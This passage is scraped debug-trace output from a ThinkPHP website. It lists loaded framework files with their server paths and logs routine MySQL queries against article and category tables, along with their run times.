  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000463s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000730s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000247s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000282s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000464s ]
  6. SELECT * FROM `set` [ RunTime:0.000212s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000581s ]
  8. SELECT * FROM `article` WHERE `id` = 472070 LIMIT 1 [ RunTime:0.000498s ]
  9. UPDATE `article` SET `lasttime` = 1770448776 WHERE `id` = 472070 [ RunTime:0.011293s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 65 LIMIT 1 [ RunTime:0.000253s ]
  11. SELECT * FROM `article` WHERE `id` < 472070 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000455s ]
  12. SELECT * FROM `article` WHERE `id` > 472070 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000492s ]
  13. SELECT * FROM `article` WHERE `id` < 472070 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.002845s ]
  14. SELECT * FROM `article` WHERE `id` < 472070 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.000746s ]
  15. SELECT * FROM `article` WHERE `id` < 472070 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.000810s ]
0.161687s